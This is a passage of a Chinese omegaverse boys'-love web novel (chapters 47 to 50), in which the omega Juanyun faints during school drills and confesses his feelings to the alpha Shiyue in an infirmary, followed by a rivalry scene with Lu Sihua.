他调了一下相机,调出来刚才拍的照片,挤入匙越和隽云中间说:“快来看我拍的好不好!” 那边叶馨言还在不留余力地叫他的名字,文强同情地看了眼隽云。 隽云说:“你们看吧。” 脸上的热意还高居不下,被十指相扣的感受还鲜明着,但是他觉得匙越应该不生气了,他悄悄瞄了眼匙越,正巧他也转过脸来,隔着文强和他对视了一眼。 隽云错开视线,冷酷地抬脚走了,只是耳尖红红。 匙越的嘴角缓缓勾起,他扫了一眼在他旁边欣赏照片的文强,照片上有三个人,他和隽云面对面站着,隽云抬头看他,风把他的额发扫开,侧脸神情专注,而他低垂着头,一步之遥的距离和他对视,似乎下一秒就要亲下去了。 不远处,陆思华也在。 文强嘟囔着感慨:“本少爷的技术真是太好,都给你们拍出电影感了,看这氛围,看这暧昧拉扯,啧啧啧,兄弟都能无中生有给你们拍出来了,不过话说你们刚才在说什么呢?怎么感觉有点怪怪的。” 他转过身,陆思华站在他的斜后方看着他们,匙越朝他微微一笑,颔首点了一下头,陆思华面无表情地走了—— 作者有话说:丝滑:一直在挑衅。 [摸头]评论区发小红包 第48章 第四十八章 “男朋友。” 老师组织大家在山上拍完了照片后, 又有不少人找摄影师拍照。 停留了大约一个半小时,很远很远的雪山都看够拍够了之后,就组织所有人下山了。 中午本来要和文强一起去吃饭, 但是他被另一个人叫住了。 那个男生模样清秀,身高胖瘦都和他差不多, 站在他面前说是来帮他的。 隽云打量他的模样,取了手表,递给他。 数据重新连接, 心率正常, 呼吸频率正常,血氧正常今日行程图也重新连接上, 将继续自动生成绘制今日的踪迹轨迹发给他爸妈。 隽云说:“有劳。” “原来他喜欢这样的。”那个男生打量他,收回了视线,戴上了手表之后, 他低着头整理腕表说: “虽然我比不上你家,但是你和他差距这么大,你们是不可能的。” 隽云的表情冷淡:“我想这不是你该操心的事。” 男生顿时缄默,戴好手表后,他告诉他, 回学校的那天下午, 他会来找他还回手表。 * 上午的爬山出了一身汗,隽云中午回去换了一件衣服。 下午在一个空旷的场地集合,还通知他们带上自己的书包,文强和他并肩走着的嘟囔不知道学校又安排了什么幺蛾子。 毫无遮挡的空地直面当空火辣辣的太阳,不少人站了一会儿后就开始出汗了。 “这十一月的天了怎么还这么热啊?” “就是啊,把我们叫到这里干什么啊?” “还不快点解散。” 围观的群众都在抱怨,等了一会儿几名穿着绿色军装的军官出现了。 这里以前是军事基地训练营, 如今已经被改造成了半开放式的园区接受游客的参观。 本来以为是来体验的,没想到会有军官过来带他们。 文强目瞪口呆:“不是吧?这这不会是我们的教官吧?” 旁边一个人震惊:“不是吧?我们要训练吗搞得这么正式。” 柳元誉嫌热地一直拽着衣领口扇风,他看着不远处一个头发汗湿站在那里的双马尾女生,刚要去就被文强拽回来了:“你别去了,我看她很烦你。” 柳元誉回头,表情阴晴不定:“她这都和你说了?” “没有啊!”文强大惊:“这不是明眼人都看得出来吗!!!” 柳元誉眉毛松快了一点,但很快他又不爽地说:“她凭什么嫌我烦?她一个社会招考生,我给她钱她不要,态度也这么差” “我不过是看她可怜而已。”他找补了一句:“不识抬举。” 文强:“嘿!你说话就挺烦人的,人家不想搭理你不行吗?” “你才烦,滚。” “你滚。” “你滚。” “你滚。” “”隽云中午没吃饭,在大热天站的本来就心烦了,听到他们在耳边吵来吵去更烦了,刚想让他们都滚远点。 恰好这时军官面色威仪地说:“都给我站好来!按高矮顺序站!站直了,别歪歪扭扭懒懒散散的!” 于是众人吵哄哄的,很快又按照要求排排站好。 “今天下午,我们来体验一下一名军人平常的训练有哪些,当然,我不会像对待一名军人一样严苛地要求你们,只要你们能达到合格的程度就可以了。” 此话一出,不少人就开始小声抱怨了。 军官说:“各位都是未来的天之骄子,希望大家能多多投身国防事业,为军队建设添砖加瓦!” 其余几名的军官们给他们发了水壶、雨衣、干口粮,让他们装在书包里。 “明天早上十公里的拉练训练移到今天下午了,我说一下规矩,禁止手机外放,禁止吃零食,出发前,检查一下鞋带、裤脚、袜口,防止磨泡。” “路上有收容车,身体不舒服的话就停在原地等待收容车来接,但是我希望!你们都能坚持到最后。” 在场的学生们哗然: “什么?” “疯了吧?” “这么突然?” “练什么练啊,真当军训呢?” 下午从集合点往深山里跑,大部分深山都没有建石子路或者柏油路,只有人为踩出来的泥巴路,绕着山跑了五公里后又往回跑了五公里。 路上很多人都坚持不住,主动提出要原地休息,等收容车来接。 太阳有些烈,很多时候他们都是在毫无遮掩且荒无人烟的大道上跑步,一道长长的队伍像条盘旋的龙一样跟在为首的教练后面。 跑到五公里的时候隽云就觉得他的身体有点不对了。 身体发热,气息都滚烫起来,他咬牙坚持着。 等回到集中点后,他拿出包里的水,里面已经喝掉了一大半了,只剩下最后一口,他一饮而尽,但是还是觉得,非常渴,体内很热。 “隽云,你的脸好红啊。”文强在他旁边说。 隽云撑着膝盖喘气,他擦了擦脸上的汗,说:“没事。” 等他们再跑回来的时候已经过了两个小时,还才下午四点,不到去餐厅吃饭的时间,于是教练又给他们示范了一下,让他们站了一个小时的军姿。 站到半个小时的时候就有人开始打报告说自己哪哪不舒服,要求在边上休息了。 军官看着那人的神色,手一挥:“不行,你那是装的。” 于是左右两边的人哄堂大笑。 原本还蹲在地上捂着肚子的男生有点没面子地起身,只得继续站着了。 气氛稍微轻松了一点,军官踱步说:“为什么要练一下你们的体能呢?因为明天我们要进行野外游击战,没有一定的体能!枪都扛不起来” 教官说了什么好像嗡嗡声一下离隽云很近一下又很远,日头毒辣,想不到十一月份了天气也能这么热。 隽云有些疲惫地眨眼,感觉头有点晕,呼吸灼热,额头上沁出了汗珠,他总感觉 身体似乎到极限了,要撑不住了。 腿一软,他似乎倒在了隔壁人的身上,那个人托着他的身体十分惊惧地尖叫: “天啊,隽云晕倒了——” “隽云?” “隽云你醒醒。” “他怎么了?” 周围熙熙攘攘,隽云的眼皮沉重但是稍微还有点意识,只是觉得围着他的人好像很多,空气都不太流通,胸腔闷闷的,他有点难受。 有个人接过他,按了按他的人中,然后清凉的水递到他的嘴边,给他喝了一口。 “隽云?隽云?醒醒。”是陆思华的声音。 窝在一个人的怀里,不是他熟悉的味道,隽云紧闭着眼,眉毛一蹙,眼皮微微睁开了一点,眼前朦朦胧胧。 “把他给我,我带他去医务室。” 他被另一双手接过,隽云的手被牵着绕到对方的脖子上搭着,那人飞快地将他打横抱起,结实有力的手臂抱着他稳步朝一个方向走去,人群自动散开来给他们让路。 隽云还没有彻底失去意识,只是难受,脑子晕,便虚虚地勾着他的脖颈,整个人软软绵绵没有一点力气。 走了几分钟,被抱着路上颠簸感觉还是有点不舒服的,隽云侧过脸埋在他的胸膛里,声音很闷,很小声:“匙匙越?” 抱着他的那人步伐稳健,胸膛宽阔,甚至能听到强有力的心跳声,让人觉得十分安心,隽云埋在他的胸膛上,这么近,他的胸膛几乎只隔着一层布料和他相贴,好热。 他又问了一遍:“是匙越吗?” “嗯。”那人掂了掂他,沉闷的磁性声音从胸腔和头顶传来:“是我,睡吧。” 令人安心的味道,令人安心的声音,隽云的脸贴着他的胸膛,热热的呼吸闷洒在匙越的身上,眼皮忍不住地打架,就这么吸着他的味道,就在一片安全感中迷迷糊糊地睡过去了 匙越把隽云送去了医务室,这里本质上属于军旅融合的一个景点,在景点内部设立了一个医务室以防有特殊情况,甚至因为军民两用,配置还挺高档。 医生给隽云做了个检查,拿听诊器听了一下他的心肺后,他说:“中午是不是没吃饭啊?” 匙越想了想,他不知道隽云中午有没有吃,于是他说:“可能是。” “你是他什么人?” “男朋友。” “这样啊。”医生重新上下打量他们俩:“还是学生吧?” “对。”匙越说。 “可能就是刚才运动过度,再加上有点贫血、营养不良,低血糖,就容易晕倒。”医生说:“平常要多给他补充点含铁和B12的东西,比如说肉类蛋类,还有像牛奶、蔬菜也可以多补充一点。” “好,谢谢医生,麻烦您了。” “不客气。” 隽云的脸始终红扑扑的,医生把他的衣领稍微掀开一点,看到了阻隔贴,他的手在隽云头上放了一下,说:“还有点发烧,可能是发情期要来了,他上次什么时候来的?” “九月底。” “平常多久来一次?” “九月之前都没有来过发情期,十月份也没有。”匙越对答如流。 因为十月份他没来找过他。 “九月份之前为什么没来过?”医生皱眉,他看隽云的模样也不是十四五岁刚刚腺体分化的样子: “你们几年级了?” “高三了。” 那就是已经成年了,谈恋爱确实家长老师都管不到他们。 匙越和他解释了一下为什么隽云今年才来发情期,于是问医生:“他这次是又到发情期了吗?” “看着像。”医生:“这样吧,我等会再给他配点药。” 他拿出一个病例本记录情况,一边问匙越:“给你对象做过临时标记吗?” “做过。” “终身标记呢?” 匙越一顿:“那个没有。” “这样啊。”医生把单子给他,让他填一下基本情况:“你们年纪确实太小了,不适合这么快做终身标记。” “嗯,我知道。” 医生又看着他说:“不过他发情期这么频繁的话,你们可以考虑一下早点做,这样腺体稳定了就不会总是发情了,频繁经历发情期对身体也不好。” “好,我知道了,谢谢您。” “没事。”医生给隽云先挂了一瓶葡萄糖,然后就出去了—— 作者有话说:做什么。[比心] 评论区发小红包[害羞][害羞] 第49章 第四十九章 “那你亲我一下。”…… 医务室摆着两张蓝色的单人床, 一张床在中间位置,另一张床挨着墙壁,隽云躺在中间位置的床上, 匙越把中间的隔帘拉到角落,这样方便他坐在另外一张床上看到隽云。 兜里的手机在震动, 他拿出来看了看。 基本上都是在问隽云的情况- 【陆思华请求添加你为好友。】- 【柳元誉请求添加你为好友。】 这两个人直接点了拒绝。 一连滑下去,班里不少人也在问隽云的情况,都来添加他的好友了, 他一一通过。 其中, 有一个人- 【闵术请求添加你为好友。】 看着这个人发来的验证信息,他嘴角轻轻一扯, 神情冰冷。 顺手通过他的验证信息,下一秒,闵术的消息就发过来了:- 闵术:哥, 隽云好点了吗? 他冷笑一声,哥?- sy1011:什么事直说吧。 果然,对面一下就不说话了。 他切回主页面,看到文强也给他发来了消息- 清醒也是一种罪?:怎么样怎么样?隽云好点了吗?哎呦你是不知道,学校这什么变态安排, 隽云走了之后我们还在继续站着, 说是还要站军姿半个小时,简直神经! 匙越慢悠悠地回他:- sy1011:那你怎么还在给我发消息?- 清醒也是一种罪?:现在允许中场休息一下喝个水什么的,我跟你说本少爷就没受过这种罪! 正要回他的时候,有人打电话进来了。 匙越看了眼隽云的吊瓶,还有很大一瓶要继续输液,走到床边捏捏他细伶的手腕骨,塞到被子里, 把被子掖严实了,他走到门口去接电话: “喂?” 隽云睡的不是很踏实,他梦到他在一片窒息黑暗里摸黑着走路,他脸色苍白,下意识往侧后方看了一眼。 那里有一个红色的一闪一闪的东西,在高处冰冷地注视着他,像是有人正透过那个仪器冷静地审视他是否还处在一个“合规”状态,没有出问题。 隽云僵硬地转过头,深吸一口气,他应该已经习惯了才对,总是做这样的梦。 不过他过不了多久就会醒来,然后床头有一瓶药,吃了就不会再做这样的噩梦了,能睡得安稳一点。 在黑夜里行走其实也是好的,太亮的天空他总会疑心自己被审视着。 黑夜里似乎有了点倚靠,起码不用太紧绷着,可以放松一点了。 他在黑暗里步伐沉重地往前走了很长一段路,耳边逐渐传来翁响声。 “不同意让利” “让他自己来见我,闵家也该拿出点诚意不是吗?” 睡梦中的隽云皱了皱眉头,闵家怎么会是闵家? 是谁在说话? 摸黑走的好长一段路好像出现了一点亮光,有个人的声音隔着很远的地方传来,很熟悉又很陌生的声音,他怔然地走过去。 白色的亮光原本只有一点大的,后来逐渐扩大成了一个光圈,蒙蒙的亮光将他笼罩,黑夜如雾气一样被驱散开来,他转过头,那个红色的亮点不见了,白夜将他笼罩。 长而卷翘的眼睫颤颤,他缓慢地睁开了眼睛,左边的方向光线有点刺眼,他闭了闭眼,适应了一下,往左边看去,那是一个铁栏杆窗户。 窗户大开,白色的窗帘随着风轻轻地飘荡起来 ,外面种着一圈绿植花坛,十一月不知是什么花的季节,淡淡的花香顺着窗户飘进来。 是窗外的桂花树开了。 模糊说话的声音隔着墙传来,不过和梦里一样,断断续续听的并不真切,什么让他来见我,没得商量 不远处摆着一个车架,上面放着一些简单的医疗设备,再转头,旁边还有一张床,床上整洁干净,蓝色的床单白色的被子,很标准的病床。 面前坐起来,抬手,发现手背上插着针头,连接着输液管,旁边顶上吊着一个吊瓶,在给他输液。 他怎么会来这里 这是在医院吗? 他坐在床上,头发睡的卷翘,靠着床头迷迷瞪瞪地环顾四周,没人在,门也是关着的。 他转头看着窗户外面,看了一会儿,不知道为什么感觉还是很困,头很晕,脑袋非常沉重,眼皮打架一样地睁不开,呼吸都带着灼热,他再次迷迷糊糊地倒在枕头上。 感觉很累,很困 而且,很热 很难受 等匙越进来的时候就是看到的这幅景象。 大概是嫌热,隽云身上的被子踢开了,而他睡在床上,外套被匙越之前脱了搭在椅子上,里面是一件纯棉的白色宽松t恤,半边的被子盖在他的肚子上,下半身没盖被子。 躺在床上的时候没有脱袜子,长长的腿弯曲着,脚踩到床上微微凹陷,黑色的短裤掀起来了,露出里面白色的贴身短裤,肌肉线条纤细,紧实紧绷。 那一片皮肤,他是摸过的,在他家的床上。 闪过这个念头,匙越的喉结滚动,他在门口握着门把手的手紧了紧,没有进去。 隽云在睡梦中眉毛紧蹙,他睡着睡着还是觉得热,他转过身,腿搭在堆叠的被子上,肚子上盖着的那点被子被翻过去,彻底掀开。 匙越刚想笑一声,怎么这么大了还会踢被子。 很快他就笑不出来了。 因为隽云把被子掀开的时候顺带把腰上的衣服掀起来了,露出一小片白皙细腻的皮肤,隽云的腰有着独属于omega的纤细,小腹平坦,甚至能看到一侧浅浅的腰窝。 远处传来走路的声响,匙越回过神,他走进来,把门关上。 觉得不舒服,隽云转过去又转过来,脚踩在床上,白白的长腿左转转右转转,最后泄出一抹声音,然后手搭在眉眼处盖住眼睛,似乎很难受的样子。 匙越看着他反常的举动,走到他身边,手搭在了他的额头上。 还在发烧。 不等他收回手,处在敏感期的隽云本能地捕捉到闻一丝好闻的信息素味道,本能地捉住他的手,拉下来,用脸颊蹭了蹭他的手。 那是一个异常柔软乖顺的动作,像一只小刺猬,收掉了尖锐的刺,露出柔软的肚皮拉着他的手一下一下抚摸。 最终鼻尖搭在他的手心上,脸埋在他的手里。 浅浅而灼热的呼吸洒在手上,隽云就在他的手心里,匙越凝视着他,手被他压着,另一只手抬起,摸了摸他满头大汗的发丝。 怎么会出这么多汗 隽云背对着他,阻隔贴不设防地展露在他的面前,按理来说,贴了阻隔贴他应该闻不到隽云身上的气息了。 但是一丝淡淡的,若有若无地信息素还是通过贴的严密的阻隔贴泄露出来了。 隽云用的隔离贴是最高等级的阻隔贴,不敢想,如果把那张压制信息素扩散的阻隔贴撕下来,他的信息素会多么恐怖地膨胀占领这间房,到那时,他可能也没有那个意志力能走出这个房间而不对他做些什么了。 匙越的手指动动,想要抽出手,奈何隽云握的很紧。 他深呼出一口气,他们两个人的匹配度太高,光是闻到这一丝气味他都要有反应了。 捏了捏他的脸颊,柔软弹弹的,匙越把他叫醒: “隽云?隽云?醒醒。” 隽云迷迷糊糊睁开眼:“嗯?” 匙越离他很近,看着他不清醒的眼睛,说:“你发情了。” 隽云缓慢地眨眼,呼吸都透着热意,他第一反应是懵的 谁发情了? “我”隽云的嗓音沙哑,他说:“我好困。” 匙越把手抽出来,背在身后握成拳:“你上个月发情期来了吗?” 十月份匙越没给他做过临时标记,他其实也不能完全确定隽云有没有发情。 那时候隽云不回消息,躲着他不和他碰面。 就算他的发情期来了,不来找他而选择去医院打针也说不定。 他可以不需要他。 想到这个,匙越的眼眸逐渐晦暗。 正常alpha和omega一年可能会来一两次易感期或者发情期,但是隽云的情况特殊,他在腺体还很稚嫩的时候就开始每周给自己打抑制剂抑制发情。 这种压制没了后,就会导致他的发情期会比普通的omega来的频繁一点。 除非,给他做终身标记,从根本性解决容易发情的问题。 但是他不能这么做。 他还没有解决完一切事情,他还没有走到隽云面前,他不能把他永久标记。 他们没有在一起,他根本就不是他的omega。 “十月份?”隽云回想了一下,有气无力地说:“没有” 匙越:“你的腺体不太稳定,医生说,可能是运动过度,导致发情了。” 没有想到他的身体这么弱,爬个山还能引起发情期,隽云有点懵,双唇红润: “那怎么办?” “医生说在帮你配药了,我去叫她。” 匙越刚起来,隽云就扯住他了,没什么力气却让匙越脚步一顿。 隽云揪住抓住他的衣服下摆,他舔了舔唇,异常执拗地说:“别走。” 匙越就转过来看着他,牵住他要往回缩的手。 指尖被牵握在对方手心里,或许是因为发烧,隽云的眼皮有点红,他眼皮一抬: “你和医生说的话,我我听到了。” 匙越的喉结滑动,好半天才说:“哪句?” “” 空气都安静下来,两人的瞳孔里互相倒映出对方的影子,一种诡异的、只有他们二人知道的心知肚明和心照不宣,在他们之间流淌。 但是,匙越此刻却退缩了,他不敢赌,怕他理解错了,他在意的,和对方在意的,不是同一句。 两人对视着,直到隽云双唇微张,问他: “你不承认?” 匙越呼吸重了一点:“那你承认吗?” 隽云眼睫一垂,没说话了。 匙越看着他,从来没有觉得这么煎熬过,像被钉在十字架上,等待主的宣判,是天堂还是地狱只在他的一字之间。 隽云轻而易举地挣开他的手,他像判了死刑一样,脸色顿时十分难看起来,点头: “行我明白了。” 他以后不会再来打扰他。 然而就在这时,隽云的声音很小声,对他说: “那你亲我一下吧。” 匙越的心脏猛地一震,新鲜的空气顿时涌入肺部,脸上回了一丝血色,整个人才有了点色彩。 隽云见匙越站在那里没反应,他晕乎乎地想,他不是说了吗,要他亲他一下。 怎么办,他现在很想要他的信息素。 这个人是傻了吗? 盯着他看干什么,表情也有点恐怖 “亲亲我。”隽云的脸色通红,语气凶巴巴:“快点。” 难不成是他那时候听错了吗? 匙越和医生说的不是男朋友,是好朋友? 他犹豫了一瞬,气焰顿时没了,有点底气不足:“那你还是别亲了。” 就在他打退堂鼓的时候,匙越俯身,他的手撑在床上,强势地压了下来,捏住他的下巴,异常凶狠地堵住了他的唇舌。 “呜唔——” 隽云没有力气,猝不及防地被按倒在床上,头砸在柔软的被子上。 柔软的唇瓣许久都没有采颉过了,变得生涩,一碰就要羞涩地躲开,匙越的捏着他的下颌,汹涌澎湃的吻落下来,不许他躲。 心脏砰砰跳,他被匙越牢牢抱在怀里,两个人的胸膛紧密相贴着,跨越千山万水的阻碍,一时间不知道是他的还是匙越的心跳声太过慌张,他只觉得震耳欲聋。 温厚的唇摩挲他的唇瓣,带来一阵痒意,隽云呼吸急促,匙越轻轻松开他,埋在他的颈窝里喘着气说: “真的吗?” 他真的喜欢他吗? 隽云的耳朵通红,眼睛有水光,看上去水润透亮,他轻轻抬起他的脸来,目光扫过他的眉眼,然后和他的唇瓣相碰: “我觉得应该是真的。” 自从戴上那个监控手表,就在无时无刻地提醒着他的喜欢,这几天晚上他就一直在想匙越对他来说意味着什么。 只是认识的,关系亲密一点的普通朋友吗? 只是解药吗? 不只是见过面的同学、接过吻的陌生人、治疗信息素的解药。 他确实很喜欢他。 很想看见他,很想被他触碰,很想和他在一起。 “好,好”匙越哑着声音说:“我也是” “我也是”他抱紧他,再次吻下来,听到他的话,隽云的身体轻轻一颤,忍不住咬了一下他的唇。 “别咬” 匙越的气声拂在他的脸上,隽云的眼睛漫上雾气,他才终于迟钝地想,等一下 发烧会不会传染? 他们接吻会不会不太好? 多余的再来不及细想,齿贝被打开,湿滑的舌尖舔过唇齿软肉,让他的脊椎都激起一层电流似的麻意。 室内的信息素浓度急速升温,隽云头晕脑胀,手颤巍地抵在他的胸口上,想推开他,却换来了匙越更凶狠地进入,几乎要把他吞吃掉一般急切。 (审核老师你好,只是接吻!!!) 急促的呼吸声和接吻的水渍声让人脸红心跳,所有触碰的感官都被无限放大,脖颈后贴着阻隔贴的腺体一跳一跳。 埋藏着火山熔岩的裂隙焦土终于尝到了沁甜的泉水,浓浓的信息素顺着咽喉滑至五脏六腑,给滚烫干燥的土地带来一场湿润的、连止不休的绵绵小雨,隽云接受他所有的给予。 (审核老师你好,只是接吻给了信息素而已,审核老师新年快乐,恭喜发财呜呜呜呜)—— 作者有话说:[饭饭][饭饭][饭饭][饭饭][饭饭][饭饭][饭饭][饭饭][饭饭][饭饭][饭饭][饭饭][饭饭][饭饭] 评论区发喜糖[比心] 第50章 第五十章 “我和隽云表白了。”…… 身下的人脸色通红, 怕他憋气,匙越便稍微离开了一点,岂料他稍微起身隽云就也跟着往上起来, 闭着眼眼皮薄红地吻他。 匙越垂眼看他主动而不自知的模样,忍了忍, 扶住他的腰,膝盖抵上床,就在这时—— 门被拧开了。 医生穿着白大褂从外面走进来:“吊瓶打完了的话就可以换——” 他的话停住了, 脸上表情精彩。 室内信息素味道混杂, omega躺在床上,转过脸看不清表情, 但脖颈到耳畔都红着,手抵在alpha的身上推开他。 alpha的唇上还有被咬过的牙印,两个人身上的衣服都很凌乱, 刚才在做什么非常明显了。 匙越沉沉看着这个不速之客。 医生脚步一顿,他咳嗽一声,退出去了,边关门边说:“还得是小年轻啊,火气旺, 我理解, 理解。” 隽云视死如归地闭上眼:“” 匙越:“” 在门快要关上的时候,医生又探头进来说:“虽然说早点做终身标记比较好,但是他在发情期各项激素水平不稳定,建议还是只做临时标记噢~” “你们继续,我先走了,等会儿我再来测一下血看看是什么情况。” 说着说着门“咔哒”一声,彻底掩上了, 匙越转头看向隽云,隽云乌黑顺滑的发丝凌乱,脸色红润双唇饱满,还在细细喘气,没有刚来时的病气惨白,也不是平时清冷淡漠的模样,睫毛卷翘,一直在抖动。 看着这样的隽云,匙越又情不自禁地俯身。 “医务室不能乱来啊,只能做临时标记,其他的什么都不能做啊。” 仿佛开了透视眼,医生的声音透过门缝传进来,再三叮嘱他们。 匙越再次被打断:“” 也没想做什么, 只是想亲一下而已,,, 隽云的侧脸微微偏过来,眼里像是蓄了一汪水,眼睫下垂,不是很有底气地软软说: “别亲了。” 再亲下去,他也要受不了了。 隽云转过身去,把自己的衣服领口稍微往下拉了一点,露出那一片被棕色抑制贴盖住的腺体。 白皙泛红的指尖搭在阻隔贴的边缘,稍微撕开了一个小口,浓郁到百倍千倍的信息素释放出来。 这种脆弱而敏感的地方展示给他看,隽云忍不住吸了口气,不由自主地,瞥了一眼匙越。 那双眼含着水,眼尾微扬,十分勾人,隽云不自知地收回了视线,他只是因为信息素不稳定,忍不住看他一眼,想确认一下他的alpha还在。 他把阻隔贴撕开后,浓郁的信息素顿时在房间里爆发出来,匙越呼吸滚烫,他按住他的后脖颈,把人揪了过来。 “你”隽云急急地推他:“我不是要——” 话还没说完,却被含住了唇,隽云的眼尾湿红,他抬手,锤了捶他的胸口。 匙越的吻具有非常强烈的侵略性意味,按着他的后脑勺亲得他的唇都痛了,他试图挣开他但却没有什么力气了。 等到真的要喘不过气来的时候,匙越终于放开她,隽云倒在床上半边脸都埋在了堆叠的被子上喘气,衣角都被掀了上去,后颈的腺体一跳一跳,还来不及喘几口气,腰被人握住,匙越火热的吻就落在了他的脖颈上,隽云浑身一颤,手抓紧了被子。 早知道掀开隔离贴会让他这么他就不掀了。 他只是想让匙越做个临时标记而已, 怎么也想不到会被叼住了又亲又咬。 隽云喘着气,雾气弥漫上眼眸。 还是他低估了98%的匹配度。 “匙越匙越” “临时标记给我做临时标记” 幸好匙越还是听到了的,细密的啄吻缓下来了点,舔了舔他被亲出吻痕的红印,裸露的白嫩皮肤都被吻过去,隽云浑身轻颤,后知后觉地因为无法反抗而感到一丝害怕。 感受到那双唇落在了腺体上,轻柔地擦过腺体,然后狠狠一咬—— “啊——” 小声而又短促的吟叫声泄出来,隽云把脸狠狠埋进了被子里,只剩下支棱的蝴蝶肩胛抽动。 匙越抬手,穿过他的胸口把他的下巴抬起来,掐着他的半张脸,尖锐的牙齿再次抵着薄嫩的皮肤,咬破它,往里面注入信息素,隽云咬住下唇,拼命抑制住下意识弹起来的生理反应,指尖抓着床单抓至泛白。 匙越往他的腺体里灌了很多信息素,隽云不住地喘气,这次临时标记的时间比任何一次都长,久到隽云忍不住开始挣扎。 抓住他推拒的手腕,匙越改咬为舔,在那破皮红肿的腺体上舔了又舔,然后抬手,轻轻摸了一下,指腹粗粝地划过嫩而敏感的腺体,刹那间隽云猛地一抖,更深更重地埋入枕被之间。 匙越喘息一口气,难以抑制兴奋激动。 终于,他是他的了。 隽云身上满是他的信息素,额头出了不少汗,虚虚地趴在床上,累的指头都不想动一下,匙越起身从他的外套里拿出手帕,给他擦了擦汗。 沾满橄榄香的手帕拿在手上,匙越难以抑制地俯身,闻了闻,浓浓的体香。 “帕子给我好不好?”匙越哑着嗓子问。 隽云还在消化过载的白兰地信息素,alpha的信息素过多地笼罩着他,让他浑身都泛懒犯倦意,抬不起一根手指,耳尖通红,眼皮半阖着,胡乱地“嗯嗯”。 手帕塞到了自己的口袋里,匙越十分满足地牵着他的手,五个指头被他拿在手上把玩,又放在手上亲了亲。 许久 隽云终于缓过来了,他趴在床上,声音闷在被子里,郁闷地通知他: “分手吧。”!? 匙越眼皮一掀:“什么原因?” 刚谈上就要分? 隽云:“你咬的我太痛了。” 每次都是。 “从医学角度来说你是在不应期,情绪感知都放大了,所以会比较痛。” 隽云把手收回来,匙越拽着,捏了捏他的手掌,他放在嘴边,亲了亲他汗湿的手心。 “我下次注意轻点,再考虑我一下吧。” 隽云好半响都没说话。 “再看吧。”他冷酷地通知他。 “不要分手。”匙越晃着他的手,顿时又变回了那个可怜兮兮的社会招考生:“不想分~~~~~” 隽云:“” 喜欢忍不住冒泡一样地冒出来,隽云压了压唇角,冷酷无情地“哼”了一声。 临时标记后他有点累,眼睛眨的缓慢,又有点困了,这次发情期来很快,所幸有匙越在,他发热的情况没有太久,并且有了临时标记,可能再睡一觉,一觉醒来就能退烧了。 匙越在医用箱子上找到一个新的阻隔贴,他走回去,在他的额头上摸了摸: “还在发热,我先给你把阻隔贴贴上,你睡吧。” 隽云迷迷糊糊地点头,他已经要睡着了。 听着匙越的话,干脆利落地侧过身,干净修长的脖颈上红痕点点,就这么不设防地展露在匙越面前。 腺体又红又肿,还在一跳一跳,刚灌进去的信息素混着omega本身的信息素一丝丝泄出来。 匙越的眼眸逐渐幽深,他深吸一口气,强压下去那些不健康的想法。 脑海里疯狂叫嚣着品尝这个在流信息素的虚弱omega,匙越面色不显,克制着自己,沉着脸,把阻隔贴的一角撕开,对准腺体所在的位置贴上去。 灼热的呼吸洒在皮肤上,总觉得有一头狼在他的背后转悠嗅闻,试探要从哪里入口。 隽云眉心蹙起,刚敏感地转过身就被按住了肩膀。 匙越的手掌很热,声音有点哑,他想着隽云的那句分手,带着一点谦和有礼地说: “别乱动,要贴歪了。” “哦” 隽云就转了回去,他其实一直都因为发烧而有点不太清醒,听到匙越这么说了,心说他应该不会再动他了,就这么意识朦朦胧胧地进入了睡眠状态。 这时,房门被人轻轻地推开,脚步声传来,匙越头也没抬,把阻隔贴的最后一角按压好。 他拿的是医用级的阻隔贴,对腺体散发的信息素能起到很好的收束作用。 陆思华站在门口,他看到了匙越的小心翼翼。 这个房间里橄榄香信息素味道还未消散,哪怕他也是alpha,不设防地闻到omega的气味也会有一点应激反应。 被埋在骨子里的,对omega的占有欲和渴望被激发,还是他从小喜欢的omega,他花了很大的力气,才不上前惊扰睡在阳光下的隽云,只是忍不住地往前走了两步。 然而守在omega身边的alpha离他这么近,却比他更能忍,并没有对此刻处于弱势地位的omega做些什么,而是守着他睡觉。 他知道匙越是喜欢隽云的,但是他现在才明白,可能比他想象的还要更喜欢。 他自认为如果换成是他,在这种情况下可能很难能克制住对喜欢的omega不做些什么。 甚至他没办法,让一个omega在发情期的时候还能对他抱有信任地在他的面前睡着,他自认为是正人君子,但是,在某些时刻,alpha对omega的阴暗欲望真的很难克制住 但是匙越却能。 他能够强忍着alpha的欲望,不去动在酣睡中的omega,安静地坐在他的旁边,等到房间里属于omega的勾人味道逐渐消散,等到omega睡醒。 就这么牵着他的手安静地在旁边陪着。 陆思华默默地看了一会儿后才出声:“他怎么样?” 匙越没有通过他的好友申请也没有通过柳元誉的,但是通过了其他人的,他想知道隽云的情况,就只能亲自来一趟了。 匙越握着隽云的手,低着头在看他粉嫩指甲上的白色月牙 ,手指磨了磨他的指尖,头也没抬: “低血糖,身体不是很好不过这都不是你需要操心的事。” 这番话十分咄咄逼人,陆思华冷笑一声,提醒:“似乎也和你无关,你要知道,他是隽家的人。” “我当然知道。”匙越对情敌没什么好脸色,他亦是阴冷道:“从第一天认识他起,我就知道。” 陆思华:“那你还敢招惹他?” 匙越像是听到一句非常好笑的话,冷笑一声,他把隽云的手放回到被子里,起身,走到他面前。 一米九的身高带来的压迫感以及男人的沉稳声音自上而下传来,让陆思华不自觉释放出alpha的信息素与之对抗。 匙越嗤笑:“为什么不敢?其实有个问题我一直都很想问你,你真的喜欢他吗?” 瞻前顾后,畏首畏尾。 “我和他从幼儿园起就认识了,我比你更了解他。” “那又如何?你喜欢他吧,却能亲眼看着他和叶家订婚。”匙越比他高一点,视线轻蔑地扫下来: “陆家,也不过如此。” 陆思华的手顿时攥紧了,他咬牙切齿地说:“那是因为隽家中意叶家!我也没有其他办法,不然轮不到你出现在隽云面前。” 他如今看到的匙越和隽云越走越近,他才恍然醒悟,叶家不应该是一个阻碍,叶馨言也不是,毕竟隽云不喜欢她,那他为什么不能尝试让隽云喜欢上自己? 他可以改变联姻。 隽云竟然都不排斥匙越一个社会招考生,那是不是说明,他也有可能? 这一念头在发觉隽云和匙越越走越近之后就再难遏制住,他才有了和隽云告白的念头。 他和隽云从小就是朋友,认识这么多年,说不定隽云其实也对他—— “你以为是因为你没有办法?”匙越打断了他的想法:“那是因为他不喜欢你。” 他残忍地告诉他真相:“不然怎么会没有办法在一起?他只是不喜欢你。” 匙越眸光阴鸷:“如果你真的喜欢他,你一开始就应该争取,现在这么多年过去了,你已经没有机会了。” 陆思华怔住,他没有想过,他已经没有机会了。 他哪里做错了? 从小到大他都压抑着自己的感情,因为他觉得隽云和他都是一类人,而同类最明白同类,也最理解同类的生存规则。 如果有些事情说出来会对隽云造成困扰,那他就选择不说。 